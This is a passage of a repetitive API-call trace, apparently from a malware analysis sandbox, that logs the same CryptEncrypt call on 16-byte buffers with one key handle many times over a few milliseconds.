pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.754] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.755] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.756] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.757] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 